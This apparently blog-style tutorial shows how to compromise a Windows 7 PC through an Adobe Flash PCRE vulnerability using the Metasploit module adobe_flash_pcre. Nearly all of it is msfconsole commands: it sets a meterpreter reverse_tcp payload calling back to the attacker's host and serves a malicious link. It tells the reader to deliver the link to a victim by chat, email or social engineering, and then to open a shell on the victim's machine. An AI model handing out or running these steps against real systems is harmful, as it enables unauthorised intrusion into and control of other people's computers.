Kali Linux, Penetration Testing

Exploit Remote PC using Adobe Flash Player PCRE Regex Vulnerability

This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.

Exploit Targets

Windows 7


Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_pcre

msf exploit (adobe_flash_pcre)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_pcre)>set lhost (IP of Local Host)

msf exploit (adobe_flash_pcre)>set srvhost

msf exploit (adobe_flash_pcre)>set uripath /

msf exploit (adobe_flash_pcre)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link ( a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.